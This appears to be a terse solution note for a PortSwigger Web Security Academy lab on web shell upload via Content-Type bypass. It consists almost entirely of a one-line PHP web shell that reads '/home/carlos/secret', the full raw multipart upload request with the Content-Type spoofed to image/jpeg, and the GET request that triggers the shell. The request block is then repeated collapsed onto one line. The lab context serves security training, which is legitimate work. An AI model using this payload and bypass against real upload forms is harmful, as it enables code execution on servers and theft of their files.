Lab: Web shell upload via Content-Type restriction bypass

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

file.php

<?php echo file_get_contents('/home/carlos/secret'); ?>

Change Content-Type to image/jpeg or image/png

POST /my-account/avatar HTTP/2
Host: 0aca000b031532b7802e80bf00c500dc.web-security-academy.net
Cookie: session=PnpA8279S7VQTSlKmm2XiBRT4Igd1cXq
Content-Length: 459
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Origin: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXfRtnWHTAEN8aaaH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundaryXfRtnWHTAEN8aaaH
Content-Disposition: form-data; name="avatar"; filename="file.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryXfRtnWHTAEN8aaaH
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryXfRtnWHTAEN8aaaH
Content-Disposition: form-data; name="csrf"

fSosFlejyy8YxJFE7YNiLjOab80jmG6S
------WebKitFormBoundaryXfRtnWHTAEN8aaaH--

GET /files/avatars/file.php HTTP/2
Host: 0aca000b031532b7802e80bf00c500dc.web-security-academy.net
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Upgrade: websocket
Origin: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=PnpA8279S7VQTSlKmm2XiBRT4Igd1cXq
Sec-Websocket-Key: S2GZ5cyYQBZQXqdEnVknBw==

Last updated 5 months ago

POST /my-account/avatar HTTP/2 Host: 0aca000b031532b7802e80bf00c500dc.web-security-academy.net Cookie: session=PnpA8279S7VQTSlKmm2XiBRT4Igd1cXq Content-Length: 459 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: de-DE,de;q=0.9 Origin: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXfRtnWHTAEN8aaaH Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net/my-account Accept-Encoding: gzip, deflate, br Priority: u=0, i ------WebKitFormBoundaryXfRtnWHTAEN8aaaH Content-Disposition: form-data; name="avatar"; filename="file.php" Content-Type: image/jpeg <?php echo file_get_contents('/home/carlos/secret'); ?> ------WebKitFormBoundaryXfRtnWHTAEN8aaaH Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundaryXfRtnWHTAEN8aaaH Content-Disposition: form-data; name="csrf" fSosFlejyy8YxJFE7YNiLjOab80jmG6S ------WebKitFormBoundaryXfRtnWHTAEN8aaaH--

GET /files/avatars/file.php HTTP/2 Host: 0aca000b031532b7802e80bf00c500dc.web-security-academy.net Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Upgrade: websocket Origin: https://0aca000b031532b7802e80bf00c500dc.web-security-academy.net Sec-Websocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: session=PnpA8279S7VQTSlKmm2XiBRT4Igd1cXq Sec-Websocket-Key: S2GZ5cyYQBZQXqdEnVknBw==